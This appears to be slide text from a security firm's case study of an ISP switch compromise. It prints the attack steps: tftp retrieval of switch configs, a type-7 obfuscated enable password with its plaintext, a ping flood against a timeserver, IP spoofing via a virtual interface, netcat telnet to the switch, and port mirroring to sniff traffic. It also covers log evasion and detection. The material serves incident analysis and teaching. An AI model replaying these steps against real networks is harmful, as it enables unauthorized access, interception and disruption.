Case Study: Help! Our Switch is under attack! a true story

by

Uwe A. P. Würdinger
IT-Security Engineer
X-tec GmbH
Institute for Computer and Network Security
wuerdinger@x-tec.de

What happened?

An ISPs network was compromised giving the attacker,

1. An high bandwidth platform for numerous other attacks
2. Access to many unsecured hosts in the ISPs network

First steps of the attack

1. Scanning the ISPs network to gather information about possible victims
2. Social Engineering
3. Physical break in, to sabotage a local system

Investigating the compromised host

invisible through root kits

find tftp server on local machine

monhost# tftp tftphost
tftp> get switch.cfg
tftp> get cisco.cfg
tftp> switch-a10-c95.config
tftp> switch-a10-c95.boot ...

IP address of the switch 192.168.250.2

Investigating the compromised host

Having retrieved the file

```
hostname switch-a10-c95
!
enable password 7 120A321E454324
!
ip domain-name intern_net.isp.com
```

password 7 is not real encryption, but obfuscation
the password was sWi7(H

Investigating the compromised host

DOS Tools against the timeserver

```
monhost# ping -i 5 timeserver
PING timeserver (192.168.250.15) from 192.168.250.89
64 bytes from 192.168.250.15: icmp_seq=0 ttl=115 time=8.9ms
64 bytes from 192.168.250.15: icmp_seq=0 ttl=115 time=50.0ms
64 bytes from 192.168.250.15: icmp_seq=0 ttl=115 time=552.8ms
64 bytes from 192.168.250.15: icmp_seq=0 ttl=115 time=4423.2ms
64 bytes from 192.168.250.15: icmp_seq=0 ttl=115 time=7726.0ms
64 bytes from 192.168.250.15: icmp_seq=0 ttl=115 time=87582.7ms
```

Set up a virtual IP address

```
monhost# ifconfig eth0:1 192.168.250.15
monhost# nc -s 192.168.250.15 switch-a10-c95 23
Password:
```

Investigating the compromised host

Making a new configuration for the switch

```
switch-a10-c95# conf t
switch-a10-c95# interface fastEthernet 0/18
svc-lan(config-if)#port monitor 0/1
svc-lan(config-if)#port monitor 0/2
          ....
svc-lan(config-if)#port monitor 0/32
```

No need to use the IP address of the timeserver anymore, shut down the virtual IP address

Watching the logs

1. How does the logging react on attacks
2. Create stealth attacks, that won't trigger alerts
3. Conclusion, outgoing traffic isn't as much monitored as incoming

The trace!

1. ISP noticed a anomaly in logging of outgoing traffic
2. Monitoring host looked clean, because attackers signs are cloaked
3. Only evidence that system was compromised, through network traffic to and from the system

Sources

Hacking Linux Exposed: Linux security secrets & solutions
By Brian Hatch, James Lee and Georg Kurtz

Multiple sources from the internet

X-tec GmbH - ICNS

Institute for Computer and Network Security

Ludwigsplatz 4
83022 Rosenheim – Germany

http://www.x-tec.de
info@x-tec.de